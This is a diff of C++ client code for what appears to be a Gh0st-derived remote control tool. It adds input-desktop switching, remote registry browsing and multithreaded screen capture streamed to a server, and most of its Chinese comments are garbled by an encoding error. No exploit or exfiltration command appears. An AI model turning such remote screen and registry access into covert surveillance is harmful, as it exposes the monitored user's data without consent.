DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
else {
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
if (desktop == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch to the new desktop
|
||||
if (!SelectHDESK(desktop)) {
|
||||
// Failed to enter the new desktop, so free it!
|
||||
CloseDesktop(desktop);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// We successfully switched desktops!
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -35,7 +146,9 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
try
|
||||
{
|
||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
||||
}catch(...){};
|
||||
}catch(...){
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
|
||||
@@ -9,12 +9,24 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include <windows.h>
|
||||
#include "..\common\commands.h"
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager
|
||||
{
|
||||
public:
|
||||
bool m_bIsDead; // bye-bye
|
||||
BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ using namespace std;
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
@@ -19,7 +19,7 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(Cli
|
||||
|
||||
CRegisterManager::~CRegisterManager()
|
||||
{
|
||||
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("CRegisterManager <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
class CRegisterManager : public CManager
|
||||
{
|
||||
public:
|
||||
CRegisterManager(IOCPClient* ClientObject, int n);
|
||||
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CRegisterManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID Find(char bToken, char *szPath);
|
||||
|
||||
@@ -88,6 +88,9 @@ char* RegisterOperation::FindPath()
|
||||
|
||||
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||
if (szBuffer == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,DataSize);
|
||||
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
@@ -148,13 +151,20 @@ char* RegisterOperation::FindKey()
|
||||
DWORD size=sizeof(REGMSG)+
|
||||
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
||||
szBuffer = (char*)LocalAlloc(LPTR, size);
|
||||
if (szBuffer==NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,size);
|
||||
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
|
||||
szValueName=(char *)malloc(NameSize);
|
||||
szValueDate=(LPBYTE)malloc(DataSize);
|
||||
|
||||
if (szValueName==NULL||szValueDate == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
char *szTemp=szBuffer+msgsize+1;
|
||||
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
||||
{
|
||||
|
||||
386
client/ScreenCapture.h
Normal file
386
client/ScreenCapture.h
Normal file
@@ -0,0 +1,386 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include <assert.h>
|
||||
#include "CursorInfo.h"
|
||||
#include "../common/commands.h"
|
||||
|
||||
#define DEFAULT_GOP 0x7FFFFFFF
|
||||
|
||||
#include <vector>
|
||||
#include <queue>
|
||||
#include <thread>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <functional>
|
||||
#include <future>
|
||||
#include "X264Encoder.h"
|
||||
|
||||
|
||||
class ThreadPool {
|
||||
public:
|
||||
// <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̶<EFBFBD><CCB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
ThreadPool(size_t numThreads) : stop(false) {
|
||||
for (size_t i = 0; i < numThreads; ++i) {
|
||||
workers.emplace_back([this] {
|
||||
while (true) {
|
||||
std::function<void()> task;
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(this->queueMutex);
|
||||
this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); });
|
||||
if (this->stop && this->tasks.empty()) return;
|
||||
task = std::move(this->tasks.front());
|
||||
this->tasks.pop();
|
||||
}
|
||||
|
||||
try {
|
||||
task();
|
||||
}
|
||||
catch (...) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̳߳<DFB3>
|
||||
~ThreadPool() {
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
stop = true;
|
||||
}
|
||||
condition.notify_all();
|
||||
for (std::thread& worker : workers)
|
||||
worker.join();
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ύ
|
||||
template<typename F>
|
||||
auto enqueue(F&& f) -> std::future<decltype(f())> {
|
||||
using ReturnType = decltype(f());
|
||||
auto task = std::make_shared<std::packaged_task<ReturnType()>>(std::forward<F>(f));
|
||||
std::future<ReturnType> res = task->get_future();
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
tasks.emplace([task]() { (*task)(); });
|
||||
}
|
||||
condition.notify_one();
|
||||
return res;
|
||||
}
|
||||
|
||||
void waitAll() {
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
condition.wait(lock, [this] { return tasks.empty(); });
|
||||
}
|
||||
|
||||
private:
|
||||
std::vector<std::thread> workers;
|
||||
std::queue<std::function<void()>> tasks;
|
||||
|
||||
std::mutex queueMutex;
|
||||
std::condition_variable condition;
|
||||
std::atomic<bool> stop;
|
||||
};
|
||||
|
||||
class ScreenCapture
|
||||
{
|
||||
public:
|
||||
ThreadPool* m_ThreadPool; // <20>̳߳<DFB3>
|
||||
BYTE* m_FirstBuffer; // <20><>һ֡<D2BB><D6A1><EFBFBD><EFBFBD>
|
||||
BYTE* m_RectBuffer; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
|
||||
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
|
||||
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
|
||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
|
||||
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
|
||||
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
|
||||
bool m_SendKeyFrame; // <20><><EFBFBD>ؼ<CDB9>֡
|
||||
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
|
||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
|
||||
|
||||
m_BlockNum = 8;
|
||||
m_ThreadPool = new ThreadPool(m_BlockNum);
|
||||
|
||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||
DEVMODE devmode;
|
||||
memset(&devmode, 0, sizeof(devmode));
|
||||
devmode.dmSize = sizeof(DEVMODE);
|
||||
devmode.dmDriverExtra = 0;
|
||||
BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||
m_ulFullWidth = devmode.dmPelsWidth;
|
||||
m_ulFullHeight = devmode.dmPelsHeight;
|
||||
int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
|
||||
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
|
||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
|
||||
|
||||
if (ALGORITHM_H264 == m_bAlgorithm)
|
||||
{
|
||||
m_encoder = new CX264Encoder();
|
||||
if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) {
|
||||
Mprintf("Open x264encoder failed!!!\n");
|
||||
}
|
||||
}
|
||||
|
||||
m_BlockBuffers = new LPBYTE[m_BlockNum];
|
||||
m_BlockSizes = new ULONG[m_BlockNum];
|
||||
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
|
||||
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
|
||||
}
|
||||
}
|
||||
virtual ~ScreenCapture(){
|
||||
if (m_BitmapInfor_Full != NULL) {
|
||||
delete[](char*)m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
|
||||
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
|
||||
SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(m_BlockBuffers);
|
||||
SAFE_DELETE_ARRAY(m_BlockSizes);
|
||||
|
||||
SAFE_DELETE(m_ThreadPool);
|
||||
SAFE_DELETE(m_encoder);
|
||||
}
|
||||
|
||||
public:
|
||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0) {
|
||||
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||
LPBYTE p = szBuffer;
|
||||
ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4;
|
||||
ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1;
|
||||
for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) {
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
ULONG index = i;
|
||||
LPDWORD pos1 = p1++, pos2 = p2++;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ͬ
|
||||
for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2);
|
||||
ULONG ulCount = i - index;
|
||||
memcpy(pos1, pos2, ulCount); // <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
*(LPDWORD)(p) = index + startPostion;
|
||||
*(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio;
|
||||
p += 2 * sizeof(ULONG);
|
||||
if (channel != 1) {
|
||||
memcpy(p, pos2, ulCount);
|
||||
p += ulCount;
|
||||
}
|
||||
else {
|
||||
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
|
||||
LPBYTE src = (LPBYTE)pos2;
|
||||
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return p - szBuffer;
|
||||
}
|
||||
|
||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||
ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo) {
|
||||
|
||||
int N = m_BlockNum;
|
||||
ULONG blockLength = ulCompareLength / N; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
ULONG remainingLength = ulCompareLength % N; // ʣ<><CAA3><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
|
||||
std::vector<std::future<ULONG>> futures;
|
||||
for (int blockY = 0; blockY < N; ++blockY) {
|
||||
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0);
|
||||
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
|
||||
ULONG startPosition = blockY * blockLength;
|
||||
|
||||
futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG {
|
||||
LPBYTE srcBlock = srcData + startPosition;
|
||||
LPBYTE dstBlock = dstData + startPosition;
|
||||
LPBYTE blockBuffer = m_BlockBuffers[blockY];
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><F1B2A2B7>رȶ<D8B1><C8B6><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition);
|
||||
}));
|
||||
}
|
||||
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ֵ
|
||||
for (auto& future : futures) {
|
||||
future.get();
|
||||
}
|
||||
|
||||
// <20>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD>п<EFBFBD><D0BF>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2> szBuffer
|
||||
ULONG offset = 0;
|
||||
for (int blockY = 0; blockY < N; ++blockY) {
|
||||
memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]);
|
||||
offset += m_BlockSizes[blockY];
|
||||
}
|
||||
|
||||
return offset; // <20><><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
|
||||
}
|
||||
|
||||
virtual int GetFrameID() const {
|
||||
return m_FrameID;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
virtual int GetBMPSize() const {
|
||||
assert(m_BitmapInfor_Full);
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
void ToGray(LPBYTE dst, LPBYTE src, int biSizeImage) {
|
||||
for (ULONG i = 0; i < biSizeImage; i += 4, dst += 4, src += 4) {
|
||||
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
}
|
||||
}
|
||||
|
||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
||||
BYTE algo = m_bAlgorithm;
|
||||
int frameID = m_FrameID + 1;
|
||||
bool keyFrame = (frameID % m_GOP == 0);
|
||||
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
|
||||
LPBYTE data = m_RectBuffer + 1;
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CCursorInfo m_CursorInfor;
|
||||
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
||||
memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE));
|
||||
ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE);
|
||||
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||
LPBYTE nextData = ScanNextScreen();
|
||||
if (nullptr == nextData) {
|
||||
// ɨ<><C9A8><EFBFBD><EFBFBD>һ֡ʧ<D6A1><CAA7>Ҳ<EFBFBD><D2B2>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><CDB9><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>
|
||||
*ulNextSendLength = 1 + offset;
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
#if SCREENYSPY_IMPROVE
|
||||
memcpy(data + offset, &++m_FrameID, sizeof(int));
|
||||
offset += sizeof(int);
|
||||
#if SCREENSPY_WRITE
|
||||
WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID);
|
||||
#endif
|
||||
#else
|
||||
m_FrameID++;
|
||||
#endif
|
||||
|
||||
if (keyFrame)
|
||||
{
|
||||
switch (algo)
|
||||
{
|
||||
case ALGORITHM_DIFF: {
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_GRAY: {
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
ToGray(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4*m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
else {
|
||||
switch (algo)
|
||||
{
|
||||
case ALGORITHM_DIFF: case ALGORITHM_GRAY: {
|
||||
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
virtual BYTE SetAlgorithm(int algo) {
|
||||
BYTE oldAlgo = m_bAlgorithm;
|
||||
m_bAlgorithm = algo;
|
||||
return oldAlgo;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>ת<EFBFBD><D7AA>
|
||||
virtual void PointConversion(POINT& pt) const {
|
||||
if (m_bZoomed) {
|
||||
pt.x *= m_wZoom;
|
||||
pt.y *= m_hZoom;
|
||||
}
|
||||
}
|
||||
|
||||
// <20><>ȡλͼ<CEBB>ṹ<EFBFBD><E1B9B9>Ϣ
|
||||
virtual const LPBITMAPINFO& GetBIData() const {
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
public: // <20><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0;
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
|
||||
virtual LPBYTE ScanNextScreen() = 0;
|
||||
};
|
||||
184
client/ScreenCapturerDXGI.h
Normal file
184
client/ScreenCapturerDXGI.h
Normal file
@@ -0,0 +1,184 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// ֻҪ<D6BB>㰲װ<E3B0B2><D7B0> Windows 8 SDK <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE> Windows SDK<44><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD> dxgi1_2.h <20><><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>롣
|
||||
// <20><><EFBFBD><EFBFBD> Windows 8 <20><><EFBFBD><EFBFBD><EFBFBD>°汾<C2B0><E6B1BE><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>
|
||||
#include <dxgi1_2.h>
|
||||
#include <d3d11.h>
|
||||
|
||||
#pragma comment(lib, "d3d11.lib")
|
||||
|
||||
// author: ChatGPT
|
||||
// update: 962914132@qq.com
|
||||
// DXGI 1.2<EFBFBD><EFBFBD>IDXGIOutputDuplication<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>ͳ GDI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD> 3 <20><><EFBFBD><EFBFBD> 10 <20><>֮<EFBFBD>䣬<EFBFBD><E4A3AC><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʺ<EFBFBD>ʹ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
class ScreenCapturerDXGI : public ScreenCapture {
|
||||
private:
|
||||
ID3D11Device* d3dDevice = nullptr;
|
||||
ID3D11DeviceContext* d3dContext = nullptr;
|
||||
IDXGIOutputDuplication* deskDupl = nullptr;
|
||||
ID3D11Texture2D* cpuTexture = nullptr;
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
|
||||
m_GOP = gop;
|
||||
InitDXGI();
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
}
|
||||
|
||||
~ScreenCapturerDXGI() {
|
||||
CleanupDXGI();
|
||||
|
||||
